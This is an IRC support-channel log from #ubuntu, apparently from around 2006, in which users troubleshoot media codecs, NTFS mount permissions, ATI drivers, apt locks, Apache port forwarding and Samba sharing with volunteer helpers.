[06:17] <frank23> Neko_Freak: and you did install w32codecs, right?
[06:17] <intelikey> k
[06:17] <volmarias> Mabus06, play dead?
[06:17] <Neko_Freak> frank23: yes
[06:17] <zezu> can i add a password to the sudo cmd so i can imbed it in a link to an app so i dont have to type it each  time ?
[06:18] <rnd_null> i just mounted another hdd and i'm having with syntax to make the drive readable by all users, but not writable...could someone help me with the syntax?
[06:18] <zezu> like i want mplayer to run as root so it can access my mounted ntfs drive that only root can access for some reason
[06:18] <frank23> Neko_Freak: if you run totem or vlc from the console, do you get an error message about vide
[06:18] <volmarias> zezu: Check the mount options. That's probably a better thing to do than running something as root all the time.
[06:18] <thewayofzen> **help** I have an ATHLON XP 2800+ and i am currently using 386 architecture..   i only have the single processor should i switch to   linux-k7 kernel??
[06:18] <tristanmike> Neko_Freak, "mkv" support wasn't built in properly to the vlc package, trust me, i just spent 2 days compiling to get it to work
[06:18] <zezu> what options do i need ?
[06:19] <intelikey> schultzi   report the bug,  disable screensaver and set bios to take care of the screen until a patch comes out maybe ?
[06:19] <rnd_null> volmarias, how do i do that?
[06:19] <zezu> all i do is mount -t ntfs /dev/sda1 /win
[06:19] <Mabus06> volmarias: you mean leave my computer off? Well yeah, I mean I could throw my box out the window and I could be sure it wouldn't be hacked, but that defeats the point.
[06:19] <rnd_null> volmarias, nevermind
[06:19] <Neko_Freak> frank23: HOLY SHIZNITE!!!! Mplayer is actually playing the file O.O
[06:19] <volmarias> zezu: not sure.
[06:19] <schultzi> intelikey: that's just the thing, I have toshiba bios, so i can't change it in linux, I can just disable it
[06:19] <ufo> zezu, add the uid thing to your fstab and nls=utf8
[06:19] <ufo> !ntfs
[06:19] <ubotu> I guess ntfs is the filesystem used in Windows NT and newer; to automatically mount your NTFS partition: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[06:20] <frank23> Neko_Freak: why the hell wasn't it working before? Oh well, as long as it works!
[06:20] <volmarias> Mabus06, I'd recommend that you modify the router so that it blocks packets from certain ranges
[06:20] <volmarias> such as the ranges people are trying to get at you from
[06:20] <volmarias> and check why you're getting these packets in the first place
[06:20] <intelikey> schultzi  oooo yuch....    sorry.
[06:20] <volmarias> Make sure you haven't stuck yourself into the DMZ
[06:20] <volmarias> or port forwarded everything
[06:20] <Mabus06> volmarias: that's what I was trying, it wasn't out of the question that it was benevolent
[06:20] <schultzi> dangit, i guess i just wont close my laptop lid then
[06:20] <Mabus06> volmarias: but I couldn't tracert any of the ips they were using
[06:20] <zezu> ufo, whats the uid thing ?
[06:21] <Neko_Freak> frank23: Bah, but no subtitles.......damn
[06:21] <powder> schultzi, why don't you just disable the screensaver?
[06:21] <Mabus06> Or dns whois them, or anything.
[06:21] <ufo> zezu, umask 0222
[06:21] <me2win> frank23, you on dapper?
[06:21] <ufo> zezu, see the wiki
[06:21] <schultzi> powder i did, and any time i close the lid, it locks up and i get a blank screen
[06:21] <intelikey> schultzi still disabling screen saver in gnome might make it usable for you..... idk   worth a try.
[06:21] <ufo> !tell zezu about ntfs
[06:21] <tristanmike> Neko_Freak, you have to configure mplayer in ~/.mplayer
[06:22] <frank23> me2win: no, breezy
[06:22] <raptorx> I cannot get X started properly, i'm getting "Cannot open display"
[06:22] <raptorx> I was screwing aroudn with Xgl
[06:22] <frank23> Neko_Freak: is there a menu for the subtitles?
[06:22] <schultzi> raptorx you running dapper?
[06:23] <raptorx> flight 5
[06:23] <powder> schultzi, did you try disabling the "display power management" in the advanced tab as well?
[06:23] <tritium> #ubuntu+1 for dapper issues, please
[06:23] <tristanmike> frank23, no there's no menu for file, i've been through all of this the past two days
[06:23] <Neko_Freak> frank23: yeah it says Subtitle & OSD
[06:23] <IdleOne> does ps x show me pids for all procs of all users?
[06:23] <schultzi> powder yes
[06:23] <powder> schultzi, damn that was my last idea :(
[06:23] <frank23> tristanmike: I never had problems with mkv using kaffeine-xine
[06:24] <schultzi> powder haha, oh well, no problem
[06:24] <raptorx> i guess ill try to reinstall the driver
[06:25] <tristanmike> frank23, my major problem was that I have a dual audio file, and jap is the main language, but mplayer wouldn't let me change audio track, totem did, but it screwed up the begining english audio, it was a mess
[06:25] <Neko_Freak> frank23: Bah, and i got my hopes up...audio is all messed up and no subtitles
[06:25] <Neko_Freak> >.<
[06:25] <me2win> how do i play avi xvid in gnome? I installed w32codecs and still nothing
[06:26] <schultzi> me2win did you install xvid?
[06:26] <tristanmike> Neko_Freak, you won't be able to get subs or change audio tracks for a file by using menus in mplayer
[06:26] <IdleOne> me2win> [avi]  Video for Windows. For more info http://wiki.ubuntu.com/RestrictedFormats
[06:26] <powder> me2win, http://easylinux.info/wiki/Ubuntu#How_to_install_Multimedia_Codecs
[06:26] <phiber_optic> does anybody know any good html editor for ubuntu?
[06:26] <andre> hello
[06:27] <intelikey> phiber_optic vim
[06:27] <frank23> tristanmike: I have no problems with kaffeine-xine. did you try it?
[06:27] <zezu> is there any way to make mplayer stretch the video to fit the window? i can't find any in the man pages other than possibly expand but i think thats for mencoder
[06:27] <phiber_optic> intelikey isnt there like a software?
[06:27] <frank23> tristanmike: kaffeine lets you choose the audio track and subtitle track easil
[06:27] <tristanmike> frank23, you know, never did, trying now
[06:27] <raptorx> what is fglrxconfig packaged with
[06:27] <raptorx> its not installed
[06:27] <me2win> schmity, whats the package name for xvid?
[06:27] <Neko_Freak> bah back
[06:27] <Neko_Freak> frank23: u still here?
[06:27] <rnd_null> solid_liq, how do i change the permissions of a partition that i jsut mounted?
[06:28] <schmity> me2win: what do you mean?
[06:28] <frank23> Neko_Freak: yeah
[06:28] <intelikey> yeah prolly phiber_optic   apt-cache search "html edit"
[06:28] <unfo> zezu: have you tried other video players? maybe they can do it. btw, you mean normal or non-aspect-ratio stretching?
[06:28] <schultzi> phiber_optic you can just enable syntax highlighting in vim if that's what you want
[06:28] <zezu> either
[06:28] <unfo> phiber_optic: apt-get install nvu
[06:28] <powder> Neko_Freak, http://easylinux.info/wiki/Ubuntu#How_to_install_Multimedia_Codecs   make sure you have listed codecs installed
[06:28] <zezu> and i have tried vlc but i think i broke it
[06:28] <solid_liq> rnd_null: how do you mean?
[06:28] <zezu> i rebuilt the whole thing and now it doesn't work
[06:28] <phiber_optic> unfo what is nvu?
[06:29] <andre> my dvd wont play movies can someone help
[06:29] <me2win> schmity, you asked me if i installed xvid, the only thing xvid I have installed is avifile-xvid-plugin
[06:29] <rnd_null> solid_liq, i mounted a drive and the owner is set as root and only root can read the drive, how to i fix that so i can read it?
[06:29] <unfo> phiber_optic: iirc it's the open-source html editor that originally was part of netscape communicator.
[06:29] <intelikey> phiber_optic did you do     apt-cache search "html edit"
[06:29] <schmity> me2win: ok
[06:29] <schmity> me2win: so what do you need help with?
[06:29] <frank23> powder: it's better if you refer people to wiki pages instead external references like that
[06:29] <me2win> i need to know how to play avi xvid files in gnome
[06:30] <me2win> ive already installed w32codecs
[06:30] <intelikey> rnd_null what file system is the drive ?
[06:30] <rnd_null> solid_liq, ntfs
[06:30] <tristanmike> zezu, to get mplayer to use full screen, Preferences->Video-> and select "xv  X11/Xv"
[06:30] <ufo> !tell me2win about restricted
[06:30] <zezu> tristanmike, xv doesn't work
[06:30] <intelikey> !ntfs
[06:30] <ubotu> ntfs is, like, the filesystem used in Windows NT and newer; to automatically mount your NTFS partition: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[06:30] <zezu> gets me a black screen
[06:30] <phiber_optic> found screem and gphpedit
[06:30] <powder> frank23, ohh sorry i didn't know.  this link seems to be the same steps as in the official wiki only all command line
[06:30] <unfo> me2win: i use debian and totem_gstreamer, xvids generally seem to work for me
[06:30] <m-00kie> hello im trying to install ubuntu on my pc but after it formats and partitions the harddrive, i get a red screen with a fatal error saying "The installer cannot figure out how to install the base system.  NO installable CD-ROM was found and no valid mirror was configured"..
[06:30] <intelikey> rnd_null  see ubotu  ^
[06:30] <tristanmike> zezu, you restarted mplayer?
[06:31] <zezu> i did
[06:31] <m-00kie> why am i getting that?  it booted from the CD just fine, and started up the ubuntu installer ..
[06:31] <schultzi> m-00kie do you have another optical drive?
[06:31] <tristanmike> zezu, enable double buffering ?
[06:31] <frank23> !tell powder about ubuntuguide
[06:31] <rnd_null> solid_liq, but, what i'm asking is how do you change the permissions? i cant get it to work
[06:31] <unfo> me2win: xvid is open-source and doesn't require w32codecs. just try apt-get search xvid inside any Xterm and install any gstreamer codecs listed
[06:31] <raptorx> damnit!
[06:31] <m-00kie> another? no
[06:31] <zezu> yes it was on the whole time
[06:31] <powder> frank23, thank you
[06:31] <frank23> powder: that page is basically a newer version of ubuntuguide
[06:31] <solid_liq> rnd_null: how do you mean?  is it read-only or what?
[06:31] <schultzi> m-00kie because that happened to me when i tried to install, my cd-rw drive couldnt read fast enough
[06:32] <solid_liq> rnd_null: and what are you mounting?
[06:32] <m-00kie> its a DVD drive
[06:32] <intelikey> rnd_null it's in the   *mask=   settings   read the link
[06:32] <tristanmike> zezu, hmmm
[06:32] <rnd_null> solid_liq, ok
[06:32] <raptorx> Xgl is on display 93
[06:32] <schultzi> m-00kie i could be wrong, just a suggestion
[06:32] <raptorx> how is that possible
[06:32] <solid_liq> rnd_null: (cd, dvd, or what kind of filesystem)
[06:32] <phiber_optic> I was trying to install mysql then it froze
[06:32] <phiber_optic> now I could not get lock /var/lib/apt
[06:32] <unfo> me2win: let me know if it works or not.
[06:32] <phiber_optic>  Could not get lock /var/lib/apt/lists/lock - open (11 Resource temporarily unavailable)
[06:33] <raptorx> How can I get Xgl on display 1 like it's supposed to be
[06:33] <intelikey> solid_liq  it's ntfs   but part of that time he was talking to me   using your nick....
[06:33] <zezu> gl works, very slowly (mesa)
[06:33] <raptorx> i have ATI drivers installed
[06:33] <raptorx> but it for some reason isnt working
[06:33] <solid_liq> intelikey: ? oh
[06:33] <raptorx> it says its running on display 93
[06:34] <raptorx> fglrx drivers..
[06:34] <tristanmike> zezu, you have your drivers ?  nvidia or ati ?
[06:34] <phiber_optic> should I reboot my computer to remove the lock?
[06:34] <zezu> tristanmike, they dont work
[06:34] <schultzi> raptorx the opensource ati drivers or official closed source ones?
[06:34] <tristanmike> zezu, ewww, that's no good
[06:34] <tritium> !xgl
[06:34] <ubotu> XGL on Ubuntu: http://wiki.ubuntu.com/XglHowto - Join #ubuntu-xgl for all the XGL fun on Ubuntu systems. It works ONLY on dapper. Pretty videos on http://www.novell.com/linux/xglrelease/
[06:34] <zezu> i've tried installing, rebuilding the kernel, using differnet kernels
[06:34] <frank23> phiber_optic: if the lock is there and there are no apt programs open,  sudo rm the lock
[06:34] <zezu> ati
[06:34] <zezu> of course
[06:34] <zezu> ati = trash i'll never buy again
[06:34] <tritium> Xgl is a dapper feature...ask in #ubuntu-xgl, or #ubuntu+1, not here
[06:35] <intelikey> solid_liq he asked you, and i jumped in and answered;  he never changed the nick but started talking to me.... sorry for all the confusion.   ;/
[06:35] <raptorx> uhh its.. the ones off the wiki the opensource ones i believe
[06:35] <Francisco> hello
[06:35] <tristanmike> zezu, I agree, but I believe you are now out of my range of help, sorry
[06:35] <Francisco> how can I update amarok??
[06:35] <me2win> unfo, xvid works, mpg is still f00ked though
[06:35] <schultzi> raptorx and you are running dapper, right?
[06:35] <solid_liq> intelikey: no prob :D
[06:35] <zezu> yea, i guess there is no video stretching w/ x11 ?
[06:35] <phiber_optic> still cannot do it
[06:35] <raptorx> I am running dapper
[06:35] <ufo> zezu, ati works fine with fglrx drivers
[06:35] <raptorx> the problem is I must have configured it wrong
[06:35] <unfo> me2win: cool. does mpg work for u in totem?
[06:35] <raptorx> Xgl is on display 93
[06:35] <zezu> ufo, no they dont on my box
[06:35] <phiber_optic> and my cpu is runningat 100 %
[06:35] <phiber_optic> :(
[06:36] <me2win> unfo, no
[06:36] <ufo> zezu, what card?
[06:36] <raptorx> does anyone know off hand how to get it to display 1 or 0
[06:36] <zezu> i'm not even going there, they are 100% broke no matter what you do on my box
[06:36] <zezu> 9800 pro
[06:36] <schultzi> raptorx yea, that's weird, sorry, i can't really help
[06:36] <zezu> well xv might work with them
[06:36] <raptorx> i cant remember the config file..
[06:36] <raptorx> with the [servers]  tab
[06:36] <zezu> but dri / hw accell gl doesn't
[06:36] <raptorx> i cant remember where it is at all
[06:36] <unfo> me2win: the proper package is probably gstreamer0.8-ffmpeg
[06:36] <ufo> zezu, have you got the 3d accelaration to work
[06:37] <me2win> unfo, i installed that one already
[06:37] <zezu> thats a big no
[06:37] <powder> raptorx, i have a question for you, do you have 1280x960 resolution available to you?
[06:37] <zezu> like i said dri won't work
[06:37] <raptorx> powder, I dont think so
[06:37] <kruncher> where can i send a message to ubuntu developers for problem ive noticed with the default theme?
[06:37] <unfo> me2win: i suppose also try xine, vlc, and mplayer to see if they work
[06:37] <ufo> zezu, are you sure the reason is fglrx
[06:37] <powder> raptorx, damn, that's my preferred resolution and i can't get it to work with ati drivers / breezy
[06:37] <raptorx> powder, Xgl starts up on display 93 it loads up gnome (kind of) and it loads the background
[06:38] <zezu> ufo, yes, it could be because of agpgart but either way its fglrx failing in the end
[06:38] <Francisco> how can I update amarok??
[06:38] <Francisco> how can I update amarok??
[06:38] <Francisco> how can I update amarok??
[06:38] <Francisco> how can I update amarok??
[06:38] <raptorx> powder, maybe if i just change the drivers to display 93
[06:38] <zezu> it has both mtrr errors and just fails dri init otherwise too
[06:38] <raptorx> by spamming a lot
[06:38] <Hobbsee> lol...darn
[06:38] <raptorx> i'll give it a shot
[06:38] <michael117> How can I find the dependencies of a deb package with dpkg?
[06:38] <ufo> zezu, do you use dapper?
[06:38] <zezu> breezy i think
[06:38] <powder> raptorx, not sure, i refuse to use ati drivers until they support 1280x960 >:O
[06:39] <Hobbsee> ah, i wasnt identified - that was why
[06:39] <ufo> !tell zezu about ati
[06:39] <frank23> ati's drivers apparently are getting better but I guess they are not at the nvidia level yet
[06:39] <malv> can xgl work with 5.10?
[06:39] <zezu> ufo, i've read that before
[06:39] <nalioth> malv: no it can not
[06:39] <zezu> worthless to me
[06:40] <ufo> zezu, have tried the last thread
[06:40] <zezu> let me read the last one
[06:40] <powder> does anyone here run the ati drivers and have 1280x960 available?  i've tried and not even custom modelines would work
[06:40] <me2win> powder, they support my 1920x1200, why wouldnt they support your 1280x960
[06:40] <ufo> powder, i have 1280x800
[06:40] <powder> those resolutions aren't 4:3 aspect ratio :(
[06:40] <zezu> the closest one to come close to working was on SuSE 10 when i completely rebuilt the kernel and fglrx (as much as is possible) and it still didn't work
[06:41] <frank23> zezu: why do you need that specific resolution?
[06:42] <zezu> ?
[06:42] <powder> frank, you mean me?
[06:42] <intelikey> ok going to do things.  be back in a while.
[06:42] <MistaED> man, ati need to put more effort into fglrx, is it even stable enough to run workstation stuff like maya or blender btw?
[06:42] <MistaED> let alone fast enough?
[06:42] <frank23> powder: umm... yeah
[06:43] <ufo> MistaED, yes it works fine with blender
[06:43] <zezu> ufo i s`pose i'll give it a shot later, if it comes down to it maybe the fglrx driver will let me use xv even if dri doesn't init
[06:43] <powder> frank23, it's just my preferred resolution... i don't think it's too much to ask of ati to support it... :)
[06:44] <MistaED> afaik, Xv needs to be manually enabled in the xorg.conf, just giving a heads up
[06:44] <frank23> powder: I see. I just use the highest my eyes and monitor can handle ;)
[06:45] <zezu> sudo dpkg-reconfigure xserver-xorg #Select the ATI driver
[06:45] <zezu> what is the #Select the ATI driver ?
[06:45] <zezu> is it just a comment put into a cmd file ?
[06:45] <powder> frank23, Well I wouldn't mind 1600x1200 but my monitor can only do 75hz at that resolution and my eyes prefer at least 85hz
[06:45] <zezu> or am i supposed to replace that with something ?
[06:46] <frank23> powder: I bought a used 21" that does 1600x1200@85 for 150 $CAD. its pretty sweet
[06:47] <phiber_optic> anyone know how to install phpmyadmin
[06:47] <unfo> CRTs are cheap nowadays.
[06:47] <powder> frank23, I know I need to upgrade lol :D
[06:47] <unfo> phiber_optic: :) try sudo apt-get install phpmyadmin
[06:47] <Mika_i> :)
[06:48] <frank23> Is an LCD's lifetime much shorter than a CRT? I would think so...
[06:49] <Mabus06> frank23: yes
[06:49] <frank23> Mabus06: is it possible to replace the backlight?
[06:50] <Mabus06> frank23: no idea
[06:50] <powder> i'm kinda bored with breezy now... are there any showstoppers in dapper?
[06:50] <Sionide> anyone got any tips for getting a wireless router working if the default username/password doesn't work even after pressing the factory reset button??
[06:50] <Madpilot> powder, it's orange rather than brown
[06:50] <Madpilot> :P
[06:50] <mr_polite> installing the 3d desktop for breezy makes thing interesting...
[06:51] <ironuckles> Does anyone know of a good NES emulator?
[06:51] <powder> Madpilot, lol I know I saw the screenshots...
[06:51] <mr_polite> snes9x
[06:51] <mr_polite> oh
[06:51] <frank23> powder: the proposed dapper delayed date is June 1st. If they decide to wait, release is still a while away
[06:51] <mr_polite> sorry i read that snes
[06:51] <mr_polite> nester is an exlellect nes emu
[06:51] <unfo> ironuckles: apt-cache search nintendo
[06:51] <unfo> or apt-cache search nes
[06:51] <ironuckles> okay
[06:52] <powder> frank23, are you running dapper?
[06:52] <frank23> ironuckles: fceu  is great. command line only. check the forums for configuration
[06:52] <frank23> powder: no, I'm waiting for dapper
[06:52] <Nunquam_Fidelis> Can someone _please_ help me get GRUB installed via Dapper Drake LiveCD?
[06:52] <phiber_optic> does anybody know how to see my webpage when i put my ip address in apache?
[06:53] <powder> frank23, i think i should wait too :)
[06:53] <frank23> powder: yeah, waiting is though ;)
[06:54] <powder> phiber_optic, are you behind a router?
[06:54] <phiber_optic> yeah
[06:54] <phiber_optic> powder
[06:54] <Toma-> Nunquam_Fidelis: #ubuntu+1 for dapper help
[06:54] <powder> phiber_optic, you need to forward port 80 (or whichever port you're using) in your router config
[06:54] <phiber_optic> ohh ok
[06:55] <powder> phiber_optic, also open that port in firestarter if you're using it
[06:55] <phiber_optic> im not using firestarter
[06:55] <punkass> i am running dapper and have the intel 915gm and i get "direct rendering: Yes" but when I run Xorg-air I get direct rendering: no
[06:55] <punkass> any ideas?
[06:55] <powder> phiber_optic, ok you should just have to forward the port in your router config then
[06:55] <phiber_optic> ok poweder thanx
[06:56] <powder> phiber_optic, let me know when you do and i'll test your webserver out
[06:56] <frank23> One thing I would like in linux is the type of firewall where, when an app wants network access, it alerts you and lets you decide yes or no. I such a thing available?
[06:56] <bhongong> guys need a bit help
[06:56] <phiber_optic> powder ive done it
[06:56] <concept10> need help with samba:  I am able to see my Ubuntu shared directory from Windows but it says I have a permissions problem (on win side) any suggestions?
[06:57] <powder> phiber_optic, what port are you using?
[06:57] <bhongong> ubuntu detects my USB Wifi but how do I use it?
[06:58] <phiber_optic> powder it worked I already checked it
[06:58] <phiber_optic> ;)
[06:58] <phiber_optic> thanx by the way
[06:58] <concept10> unfo, any idea where I should start
[06:58] <powder> phiber_optic, ok :)
[06:59] <bhongong> anyone knows how do i make my USB Wifi (Surecom EP-90001-g) work?
[06:59] <unfo> concept10: can you access the share from another windows PC?
[07:00] <unfo> In Soviet Russia, Wikipedia edits *you*.
[07:00] <rob138> anyone know why amarok would say access denied when i try to transfer a mp3 to my ipod?
[07:01] <concept10> unfo, I only have one windows box
[07:02] <Hysty> rob138, maybe your ipod has been mounted read only?
[07:02] <rob138> where do i check/change that?
[07:02] <unfo> concept10: I am assuming sharing is set up properly on the Windows side. try this 1st: run smbtree and enter your windows password.
[07:03] <zezu> ufo, same shit
[07:03] <zezu> mtrr errors and no dri
[07:03] <zezu> using mesa
[07:03] <zezu> install went great tho
[07:03] <m-00kie> ah i found the problem
[07:04] <m-00kie> bad image :)
[07:04] <m-00kie> failed integrity check :(
[07:04] <concept10> unfo, I get no output
[07:04] <rob138> hysty, do you know where i would change that?
[07:04] <painkiler> hey guys, how do i upgrade to gnome 2.14?
[07:04] <unfo> concept10: nmap $WINDOWS_BOX_IP_ADDRESS
[07:05] <unfo> m-00kie: I hope you use CD-RWs :)
[07:05] <ufo> zezu, you could try to create new xorg.conf... did you use the old one?
[07:05] <zezu> heh
[07:05] <zezu> of course i didn't use the old one no
[07:05] <rob138> how do i change the mounting properties of my ipod?
[07:05] <Hysty> rob138, umm not really
[07:06] <rob138> hmm
[07:06] <ufo> zezu, do you use 64bit
[07:06] <zezu> nope x86
[07:06] <zezu> oddly now i can't change my screen resolution back
[07:07] <zezu> even though 1280x1024 is in the config file ;|
[07:07] <m-00kie> unfo - eh? CD's are so cheap nowdays, i certainly wouldnt cry over a bad CD-R :P
[07:07] <m-00kie> even DVD-R's are cheap now
[07:08] <concept10> unfo, 5 open ports 135:msrpc, 139:netbios-ssn, 445:microsoft-ds, 1025:nfs or iis, and 5000:upnp
[07:08] <malv> is 6.04 fairly stable?
[07:08] <zezu> how can i change the screen res. to something when the resolution switcher doesn't have it in the dropdown ?
[07:08] <painkiler> again, how do i upgrade to gnome 2.14
[07:09] <unfo> all, shouldn't both 137 and 139 be open on all windows boxen with file sharing enabled?
[07:09] <zezu> I can't stand this res.
[07:09] <Madpilot> !tell zezu about fixres
[07:09] <powder> zezu, you using ati drivers?
[07:09] <zezu> crap that they are yes
[07:09] <zezu> they dont work
[07:09] <painkiler> !tell me about gnome
[07:09] <powder> zezu, i feel your pain :(
[07:11] <zezu> Madpilot, i dont think i need to do all that i was just using 1280x1024 a min. ago
[07:11] <zezu> until i installed the fglrx driver
[07:11] <zezu> so why would i need to reconfigure xorg again twice ?
[07:11] <bhongong> /exit
[07:11] <Madpilot> zezu, installing fglrx changed your res?
[07:11] <DarkEyes> #ubuntu-cn
[07:11] <zezu> yes
[07:12] <painkiler> just apt-get install gnome?
[07:12] <zezu> installing fglrx changed the res, and the res in the switcher no longer has 1280x1024
[07:12] <painkiler> man would someone friggen help me?
[07:13] <powder> zezu, when i had the ati drivers installed 1280x1024 was one of the options in the drop down... :-/
[07:13] <Hysty> is there a simple way to stop nautilus auto-launching totem when I insert a DVD?
[07:13] <zezu> damn
[07:13] <zezu> xv still doesn't even work
[07:14] <unfo> painkiler, rudeness doesn't get you answers.
[07:14] <zezu> this probably screwed more up than it helped, i think i still have my old config file
[07:14] <andre> hello can someone tell me were i can get libdvdcss
[07:14] <powder> zezu, i had that problem too after installing ati drivers
[07:14] <unfo> zezu: i use imagemagick display(1)
[07:14] <painkiler> sorry unfo
[07:14] <Madpilot> painkiler, Dapper will have 2.14, wait until it's released
[07:14] <unfo> painkiler: np :) but i don't have your answer, i use debian
[07:14] <painkiler> but can i do it in breasy?
[07:14] <zezu> brb, need to restart xorg
[07:15] <Madpilot> painkiler, not likely.
[07:15] <unfo> painkiler: maybe the latest dapper beta has 2.14.
[07:15] <painkiler> will dapper have xgl?
[07:15] <powder> unfo, do you prefer kde or gnome?  just wondering :)
[07:15] <andre> wich os do you prefer deb or ub
[07:15] <unfo> powder: kde ofcourse. it's slower to start up but faster to get hard stuff done in it.
[07:16] <unfo> also, i prefer debian, it's more Free.
[07:16] <zezu> using old config worked like a charm
[07:16] <mr_polite> free as in beer
[07:16] <unfo> yup. although hardware detection and hibernate support are better in ubuntu I think.
[07:16] <andre> i had probleme swith deb it would install the xwindow
[07:17] <powder> debian still uses xfree86 if i'm not mistaken :P
[07:17] <mr_polite> anyone wanna help me make samba shares of ntfs drives?
[07:17] <unfo> powder: not anymore. but they did for a while. debian likes tried, tested stable software.
[07:17] <andre> yes but aptitude would not install it right
[07:18] <unfo> andre: you mean X?
[07:18] <andre> yes x
[07:18] <unfo> andre: sudo apt-get install x-window-system-core && startx
[07:18] <powder> unfo, cool, i want to give debian/kde a shot :)
[07:18] <zezu> so again, there is no way to make mplayer stretch, scale, expand, alter or whatever the video in windowed or fullscreen mode with the default X11 video driver ?
[07:19] <andre> were do i get dvd player drivers that work
[07:19] <powder> zezu, nope
[07:19] <zezu> thats worthless
[07:19] <zezu> its like 3"x3"
[07:20] <zezu> i'd need a 1080p video to get it near fullscreen
[07:20] <powder> zezu, did you try gl or gl2?
[07:20] <unfo> powder: you should. using debian is more educational as you do more stuff yourself using vim/emacsinstead of having graphical configuration tools to do it for you. also they have an excellent bug tracking corps, perhaps better organized than ubuntu's as they cover all of universe well.
[07:20] <zezu> powder, sure but it uses mesa so its slow as hell
[07:20] <shadeofgrey> dude i just dist-upgraded to dapper flight 5 i asume and the new version of xchat is whacked out
[07:20] <jon_> Debian is such a slow bear ;)
[07:20] <shadeofgrey> somebody help me make it look....  normal before i lose it
[07:20] <Hysty> andre: did you get your libdvdcss?
[07:21] <unfo> jon_: ???
[07:21] <andre> no
[07:21] <andre> sot found
[07:21] <jon_> unfo, haha nevermind. tis was a joke ;)
[07:21] <unfo> ah :)
[07:21] <andre> i dont understand the legallity
[07:21] <powder> unfo, do you use stable or testing?
[07:22] <andre>  mandriva runs dvd like a charm at first boot
[07:22] <shadeofgrey> i need someboldy to paste the link to trhe best dapper sources.list file
[07:22] <tritium> shadeofgrey: see topic re: dapper questions
[07:22] <andre> so why is it such a pain for other distro's
[07:22] <shadeofgrey> i need one  that includes access to w32codecs and the like
[07:22] <Hobbsee> !tell shadeofgrey about w32codecs
[07:23] <Hobbsee> !tell shadeofgrey about repos
[07:23] <unfo> powder: testing. i personally believe that stable is for servers.
[07:23] <kditty> how come I have to reconfigure my wireless card every time I start up ubuntu? i have to change the 'mode' 'channel' 'essid' on every boot
[07:23] <painkiler> what is the closes program to itunes for my ipod?
[07:23] <tritium> kditty: you don't.  Configure that in your /etc/network/interfaces.
[07:23] <powder> unfo, thanks i'll probably give debian a shot tomorrow
[07:23] <kditty> sudeo gedit /etc/network/interfaces.?
[07:24] <kditty> sudo*
[07:24] <unfo> although since a week or 2 ago vlc is missing from testing, which sucks, so i had to install totem instead. use testing+unstable if you want to get around the missing packages problem.
[07:24] <andre> what do you guys think of mandriva and why
[07:25] <unfo> andre: doesn't have nearly as much packages as ubuntu, which is annoying. :)
[07:25] <painkiler> anything to play music from my ipod?
[07:25] <andre> true
[07:25] <unfo> painkiler: amarok
[07:26] <painkiler> good?
[07:26] <unfo> painkiler: the best
[07:26] <ufo> !itunes
[07:26] <ubotu> from memory, itunes is a Mac OS/Windows app, but you can use SharpMusique in Linux instead (sudo apt-get install sharpmusique), and it works for all of the same things with the iTunes music store, libraries, etc.
[07:26] <kditty> tritium, do i run sudo gedit /etc/network/interfaces. to configure that?
[07:26] <unfo> powder: np. tip: if you are short on time, install Debian base first, it could take you an hour, then install x-window-system-core and kde later.
[07:27] <painkiler> thanx guys
[07:27] <painkiler> cya later
[07:27] <andre> i tried  3 os this month i not wich one will teach me the most about linux but also work like a horse on my 1.3 amd duron
[07:27] <zezu> heh
[07:27] <unfo> powder: also, if you have less than a year of linux experience, have a friend handy, or at least an extra machine with IRC on it.
[07:27] <tritium> kditty: yes.  man wireless for details
[07:27] <zezu> using the reg. "ati" driver is way better
[07:27] <powder> unfo, haha that's a damn good idea :)
[07:27] <kditty> trintum, that file is empty, and what do you mean by man wireless for details?
[07:28] <unfo> powder: thx :)
[07:28] <andre> less than a year ya i have less than a couple of weeks
[07:28] <mrglass> ola boys and girls
[07:28] <mrglass> question
[07:28] <unfo> mrglass: ola.
[07:28] <mrglass> i have this linux pc on my local network
[07:28] <powder> unfo, i do have one more question about debian
[07:28] <unfo> sure
[07:28] <mrglass> my windows machine is sharing a printer
[07:28] <powder> unfo, last time i installed, this part of the boot process had me scratching my head...
[07:29] <powder> unfo, http://www.debian.org/releases/stable/i386/ch07s02.html.en#base-config-mta
[07:29] <mrglass> anyway i can set that printer up with my linux pc?
[07:29] <unfo> mrglass: yes
[07:29] <mrglass> awesome
[07:29] <unfo> mrglass: the SAMBA HOWTO tells more about it.
[07:29] <phiber_optic> how can I uninstall something completely
[07:29] <phiber_optic> ?
[07:29] <powder> unfo, i mean install process, not boot process sorry
[07:29] <unfo> phiber_optic: sudo apt-get remove --purge $NAME_OF_THE_PACKAGE
[07:30] <phiber_optic> ohh true unfo i forgot the remove...
[07:30] <mrglass> wheres the samba howto?
[07:30] <phiber_optic> but does this delete all the libraries that it installed?
[07:30] <ufo> mithn sit jauhelihasta vrkkis muusin lisks
[07:30] <tonyyarusso> !fi
[07:30] <ubotu> Suomenkielinen keskustelu Ubuntusta kanavalla #ubuntu-fi
[07:31] <unfo> powder: yep, that's amond the most confusing question for newbies. i filed a bug against that question. anyway, choose: "local delivery only" and it shouldn't ask you any more.
[07:31] <ufo> :D
[07:31] <unfo> among*
[07:31] <powder> unfo, thanks!  i thought that's what i should choose but i wanted to be sure :)
[07:31] <andre> what books do you gyus recommend i read to teach me command line commands
[07:32] <tonyyarusso> !cli
[07:32] <ubotu> CLI means Command Line Interface, aka the terminal or console. See https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/ or http://www.tuxfiles.org
[07:32] <tonyyarusso> andre: I'd say use those rather than books.
[07:32] <andre> having a tought time at it miss a space and it wont work
[07:32] <unfo> andre: go to your local university or town Linux User Group or Computer Club. in-person help is often easier to learn from
[07:32] <unfo> mrglass: on google. but actually, i'm wrong, you don't need the howto.
[07:33] <shadeofgrey> okay
[07:33] <andre>  thanks for all the help and patience
[07:33] <shadeofgrey> so if i did a dist-upgrade just now
[07:33] <unfo> andre: np
[07:33] <shadeofgrey> i should be on flight 5 right?
[07:33] <unfo> andre: glad to spread the word of linux :)
[07:33] <shadeofgrey> if thats the case why ther hell do i have to manually reconnect my ethernet card through DHCP every time the system boots?
[07:33] <Gnumannen> shadeofgrey, yes
[07:34] <shadeofgrey> that hasnt happened to me like ever
[07:34] <shadeofgrey> so
[07:34] <unfo> mrglass: in the printer configuration dialog, there should be an option to connect to a remote printer using Samba or SMB. but I use Debian, not Ubuntu, so I do not know the details.
[07:34] <shadeofgrey> either its a bug...  which i highly doubt, or i have bad settings somewhere...  which i suspect
[07:34] <kditty> what did tritium mean when he said man wireless for details?
[07:34] <kditty> does anyone know?
